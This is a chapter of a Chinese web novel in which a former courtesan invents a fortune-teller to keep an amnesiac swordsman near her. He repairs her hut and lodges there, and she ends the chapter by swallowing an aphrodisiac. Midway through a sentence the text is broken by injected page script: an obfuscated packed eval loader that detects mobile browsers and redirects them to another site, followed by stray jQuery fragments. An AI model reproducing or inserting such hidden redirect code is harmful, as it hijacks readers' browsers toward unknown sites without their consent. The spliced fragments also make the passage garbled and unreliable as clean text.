默认冷灰
24号文字
方正启体

156.留宿

作者:紫苏九月本书字数:K更新时间:
    宝蟾本就是个见钱眼开的主,从前在春月坊当花娘时,便以“两手抓”著称坊间,曾创下“一女独挑十夫”的惊人纪录,硬是把花道做成了杀场,削尖脑袋往钱眼里钻。


    她自知比不上头牌青凤天香国色,便立志在二等花娘里面杀出一条血路。每逢有大户上门,宝蟾必是抢头份的那个,吃拿卡要,坑蒙拐骗,不把客人扒下一层皮,绝不罢休。


    理想很丰满,现实很骨感。


    两年前,她瞄上了京卫指挥使手下的四品指挥佥事,人称“三哥”。图的就是他官身在朝,腰包殷实,出手阔绰,动辄一掷千金包下“醉仙楼”的奢华套间,为博红颜一笑。


    哪知“三哥”金玉其外,骨子里铜臭难出。吃穿用度斤斤计较,在女人身上的花销更是能省则省。宝蟾自从被他“包养”后,生意一天不如一天,连胭脂水粉都得掺水兑着用。


    眼见银路断绝,她不得不重操旧业,回春月坊接客糊口。某日招待了“冰山客”,因她嘴甜,侍奉周到,大赚了一笔。并从此一战成名,反将青凤压过半头,摇身一变成为头牌金娘。


    然而好景不长,不知“三哥”得罪了谁,突然锒铛入狱。宝蟾急红了眼,四处撒钱求人打点关系,千方百计想着捞人。银子花费无数,结果连三哥被关在哪所牢房都没摸清楚。


    事后,宝蟾细细算了一笔账,结果眼前一黑。在“三哥”身上,她净搭进去上千两银子。


    堂堂花娘,竟然给嫖客倒贴银子!


    这还不算什么,最惨的是后来。因苏家嫡子苏尽欢胡搅蛮缠,春月坊惹了官司。苏君识仗着官家身份,强硬逼令春月坊退还一千两嫖资,言之凿凿称“苏公子受辱”,非要讨个说法。


    鸨母为保全生意,转头将这笔损失摊到宝蟾头上。结果宝蟾被人五花大绑,打包卖到城南最破落的窑子抵账,沦为下等伎女,连喝的水都混着灰渣,从此再无翻身之日。


    宝蟾痛定思痛,彻悟一理:这世道,情是假,义也是假,连那“官家公道”都不过是权贵手里一把刀。唯有银子是实打实的,摸得着的真东西。


    人生左不过是一场场赌博,她赌的是这个男人的身份,也赌的是自己的命数。


    峰回路转。


    眼前这尊“会走路的万两黄金”,刚扒完一大碗炸酱面,抹了抹嘴角油腻,摁着膝盖缓缓站起身,冲着她眨了眨眼眸,温声道:“多谢款待。”


    宝蟾一愣,差点溺死在那双乌黑的眸子里,赶紧堆起笑脸:“少侠何必客气。只怪妾身手头拮据,连下酒菜都张罗不起。一碗炸酱面,权当垫肚罢了。”


    说着,她伸出手去接碗筷清洗,还藏着点小心思,要让对方看到自己勤快贤惠的一面。


    谁料阿舟抬手避开她,声音闷闷地:“我来。”


    区区两个字,令晴雷抱臂靠墙的身子倏地一动,少年当即展臂相拦:“爷先放下,让属下代劳。”


    阿舟睨了他一眼,冷声道:“不必了。省得你又胡言乱语,说什么人家图谋害我。”


    晴雷登时语塞,低声道:“属下……知错。”


    宝蟾听着主仆之间针锋相对,眼角泛起一抹笑意。


    这位大少爷,未必真如表面看上去那般冷酷木讷。试问他若真是头木牛,又怎会亲自应承洗碗?


    这局棋,也许还真有得下。


    男人转身走到炉火旁,烧水、刷锅、洗碗,行云流水,干脆利落。不多时,原本乱糟糟的灶台被他收拾得一尘不染,菜刀也擦得锃亮,刀身能照出人影。苍蝇落翅,脚底打滑仨跟头。他又把菜叶切屑一一扫拢,丢进泔水桶,随后提桶出门,将厨余倒进屋后的污水槽,动作娴熟得像干惯了家务的小厮。


    宝蟾惊得掉下巴。


    糟糕。


    他若真是什么将军,哪里会干这些清理灶台油污的粗活计?这厮多半是个冒牌货,混迹乡野的村夫,根本不值几个铜板。


    谁还惦记那点狗屁赏银?!


    这男人,可是真正的“金不换”。


    这边宝蟾嘀咕着,那边阿舟做完所有活计,将抹布浆洗干净,擦干手掌的水渍。


    男人低声道:“姑娘方才所言恢复记忆一事,可否详告于我?”


    宝蟾怔住:“恢复记忆?”


    脑子飞快打转。


    她终于想起来,自己先前一时情急,随口胡诌了一句“我能帮你恢复记忆”。那时候只想着拴住这尊财神爷,忘了自己压根就没这能耐。她要真会这种法子,还当什么窑姐?早出马开坛设堂,做“大慈大悲活观音”,赚香火钱去了!


    如今赶鸭子上架,宝蟾也没别的法子,硬着头皮胡吹:“哦哦,这个事嘛……急不得,急不得。”


    她翻了翻杏眼,一本正经地扯谎:“我认识一位高人,江湖人称‘老神仙’,不入庙门,不留名姓。他掐指一算,世间万象,清清楚楚。”


    “去年四月,街市开连锁商铺的王老板,一家人出门踏青,被一辆疯马拉的车当场撞飞!啧啧,血流满地啊,街坊邻里都以为没有活口。”


    说到这儿,她故意压低声音,神秘兮兮地伸出四根手指,晃了晃:“结果老神仙一出手,硬生生从阎王爷手里抢回四条命来!你说这得是什么本事?”


    她一边说,一边瞄着阿舟的脸色。见他神情渐渐凝重,宝蟾暗喜,胆子放大了些,越扯越顺溜,越编越玄乎。


    “而且他最擅长的,就是替人找回前尘记忆。有位老太太,七十多岁,记不清自己的亲儿子有没有夭折,去找老神仙帮忙,当场就想起来当年难产的那顿炖猪蹄,哭得那叫一个撕心裂肺……”


    她说得眉飞色舞,仿佛亲眼目睹,心底却七上八下,生怕男人追问下去,她就要露馅了。


    然而,听众阿舟从一开始就深深陷进王老板的故事里。不知为何,脑海翻涌一连串莫名其妙的画面。


    天桥之下,炉烟袅袅。


    一位白衣书生端坐案前,以香炉灰做引,替人扶乩占卜。


    是她。


    画面忽然一转,白衣书生忽地朝他扬手,一炉香灰泼面而来。


    刹那间,灰烟四起,香气缠绕。


    他下意识抬手遮眼,胡乱拨弄着眼前迷雾。待烟雾稍散,却见苏绾睁着一双惊慌无措的星眸,被他紧紧抱在怀里。


    “别出声。”


    下一瞬,他低头吻了她。


    那一吻冰冰凉凉,带着不可抑制的冲动,仿佛经历了万世荼蘼。


    与徽州窄巷的那一吻,竟有异曲同工之妙。


    男人猛地睁开眼,心跳咚咚如鼓。


    “这位老神仙,我一定要找到。”阿舟语气郑重,“无论付出什么代价,在所不惜。”


    宝蟾眼珠子一转,接道:“这个嘛,自是当然。”


    她装模作样叹了口气,“这位老神仙,大隐隐于市。每逢初一十五,就爱在鬼市晃悠。咱们守着鬼市出口,总能堵个正着。”


    她说得煞有其事,脸不红气不喘。可实际上,根本就没有什么老神仙,全是她信口捏造的胡言乱语。


    阿舟低头掐指一算,今日是二月廿三,离初一只剩七日。只要等上半旬,就能见到那位高人了。


    想到这里,男人面上不由浮现一丝喜色,语气也轻快了几分:“那就拜托姑娘了。”


    宝蟾忙堆起笑脸:“哎哟,少侠莫见外,妾身定当鼎力相助,赴汤蹈火在所不辞。”


    两人你一言我一语,寒暄得火热,气氛一派和谐,看得晴雷一脸不可思议。


    狡黠的花娘,竟敢公然扯谎欺骗主子爷,简直太过放肆了。他活了十七年,就没见过比她不要脸的人物。最可气的是,他明明看穿了一切,却拿她丝毫没有办法。


    他没有证据。


    少年气得咬牙切齿,额角青筋跳个不停,恨不能当场揭穿宝蟾的老底。无奈阿舟并不打算听他解释,晴雷只得强压怒火,站在门外暗暗戒备。


    宝蟾斜睨一眼愁眉苦脸的侍卫,得意地将阿舟迎进茅屋。


    “少侠请看,妾身住的是何等肮脏地方,一到下雨天,连猫儿都不愿过来歇脚。想当初,妾身在春月坊,也算香风满楼,如今落得这般凄凉下场,命运实在太捉弄人……”


    说着说着,佳人眼圈泛起红意,手指掠过眼角拭泪。


    屋内昏暗逼仄,屋顶破洞透下几缕天光,墙壁青砖缝里爬着青苔,空气混杂着油烟和潮霉气味。炕头堆着几床破棉被,角落里堆放几口粗瓷坛罐,米袋斜靠着墙,地面散落几粒鼠咬的谷粒。


    显然主人生活极为拮据。


    阿舟逡巡一圈,点头道:“这屋子确实不成样子,让我来改一改。”


    宝蟾一愣,“少侠莫不是开玩笑?这间破屋子,要是能修我早修了。况且少侠金贵之身,怎能……”


    话未说完,阿舟俯身捡起屋角断梁,自顾自开始丈量房屋结构。他取来扫帚,清理屋角堆积的灰尘与蛛网。从灶台、炕沿,到门槛夹缝的土坷垃,全部打扫得干干净净。


    晴雷一直抱臂站着不动,奈何受阿舟一个凶狠眼神逼迫,不得不下地帮忙。少年虽满脸不情愿,手上却不敢含糊,挑水、运柴、糊窗、担瓦,样样不落,满头大汗地跟在阿舟身后打下手。


    宝蟾本窝在炕角剔指甲,起初只觉无聊。可渐渐的,目光止不住地被忙碌的身影深深吸引,一时竟移不开眼。


    男人一手擦灰一手拂尘,虽是最卑微的打扫劳作,却如武将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888667|147778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    操兵布阵般自信从容。


    屋外夕阳斜照,橘金色的光线淡淡落在男人侧脸,将他刀削斧劈的五官的棱角雕刻得越发清晰。额首沁出一层细密的汗珠,汗水顺着肌理滑入衣领。他觉得有点热,顺手捋起袖子,往肘窝一卷,露出一截结实的前臂,肌肉起伏血脉偾张,举手投足透着一股雄浑阳刚气息。


    宝蟾怔怔地看着,不知不觉鼻腔流下两管热血……


    不,他不是“金不换”,而是铁打的真神仙。


    若能与这位“武神”日日相对,夜夜同枕,哪怕过得是衣衫褴褛,吃糠咽菜的穷苦日子,这辈子也值了。神仙眷侣不敢妄想,做对风流鬼夫妻,好像也不错。


    热血啪嗒、啪嗒,洇湿了衣襟殷红一片。


    男人做完所有活计,一边抖了抖袖口,把卷起的袖子慢条斯理地放下,一边淡淡问道:“还满意吗?”


    语气平静无波,却自有一股不容轻慢的威严。


    宝蟾吓得脖子一缩,方察觉自己流鼻血了,狼狈不堪以衣袖拭血。哪知堵也堵不住,鼻腔好似开闸的堤坝,洪流倾泻而下。不知道的,还以为宝蟾大限已至。


    宝蟾一手摁着人中,一手翘起大拇指赞道:“满意满意,少侠果然好手艺,好身段,好脾气。”


    晴雷甩了甩额头汗水,“行了,咱们初一再见。爷,该走了。”说着,他拉起阿舟的袖子就往门外走。


    鬼市鱼龙混杂,岂是久留之地?光天化日之下,阿舟这般大摇大摆出现在人群视线里,万一被朝廷密探盯上,后果不堪设想。


    “别别别!”


    宝蟾一见他们要走,急得直跳脚,忙不迭挽住阿舟的手肘,“少侠莫走,你、你一走了之,妾身怎么办?”


    晴雷冷哼一声:“该怎么办,就怎么办。你还能拦着我们不成?”


    宝蟾眼圈一红,委屈道:“妾身早前被歹人劫财,至今心有余悸。说不定那群亡命徒夜半敲我房门,找我算账……少侠若走了,妾身恐性命难保呀。”


    “也对。”阿舟思索片刻,“这样吧,我留下来暂住一宿,没人敢来欺负你。”


    晴雷急了:“爷,孤男寡女共处一屋,于理不合啊!”


    “少侠睡炕,我打地铺。”宝蟾眼里泛着水光,可怜巴巴地望着阿舟。


    “不行。”阿舟断然拒绝,“我是男人,怎好为难女子?”


    他想了想,“我在门口搭张床板歇息。”


    时光荏苒,一晃过了五六日,三人彼此相安无事。


    白日里,阿舟继续埋头修整庭院。他天生力气大,干活不觉累,锄草、砌墙、整瓦、补门,样样不在话下。原本歪歪斜斜的破屋,如今焕然一新,院门口还多了两只半人高的石墩,看着竟有了几分气派。


    小小茅草屋,被他收拾得规整端正,屋顶铺了一层新瓦,上面覆上新茅,雨来不漏,风至不响;屋内也重新布置过,墙角添了柴架与水缸,新砌灶台带着烟囱,灶膛热火朝天,冒着人间烟火的幻梦。


    夜晚,阿舟睡在门口用木板搭成的简易床榻。草席薄毯,清风作枕,躺下就沉沉入梦。


    晴雷则反其道而行之。白日里闭眼静坐,调息养神;夜里打起十二分精神,监守院门外。他既不相信宝蟾这窑姐,又忧心外敌趁虚而入,故而寸步不离,连出恭都要留着一只耳朵听风声。


    所幸,这几日出奇的安稳。


    夜深人静。


    炕桌点着一盏油灯,火苗细小如豆,迎风摇曳,映得四下静谧又温暖。


    宝蟾蜷缩进薄被,翻来覆去睡不着,眼神越发幽深。她小心掀开被角,脚尖轻轻点地,猫着腰,蹑手蹑脚走向门口。


    此刻外屋正安安稳稳躺着一位高大俊美的男子。他睡得极沉,呼吸平稳,胸膛微微起伏,黑夜里勾勒出令人心动的肌肉轮廓。


    宝蟾靠近一步,正准备张口试探他,忽听男人低沉道:“回屋去。”


    宝蟾一惊,僵在原地。


    她期期艾艾解释:“我、我想看看你睡没睡着。”


    “睡着了。”阿舟阖眼回应。


    宝蟾骑虎难下,硬挤出一丝干巴巴笑意,“夜凉露重,少侠睡门口,小心着凉。”


    “不碍事。”男人语气依旧疏离。


    宝蟾见他这般油盐不进,只得悻悻然转身回屋,心底将这个榆木脑袋骂了几十遍。可偏偏,越是这等冷脸寡言的男人,越让她心头发痒,疯狂着迷。


    她踢掉鞋子往炕上一坐,从枕头底下摸出那包藏了许久的合欢散,拇指摩挲着纸角。


    良久,她抓起炕桌那盏凉茶,脖子一扬,将整包药粉冲进喉咙。


    “谁怕谁啊……”她低声嘀咕,眼底放射出兴奋的光彩。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)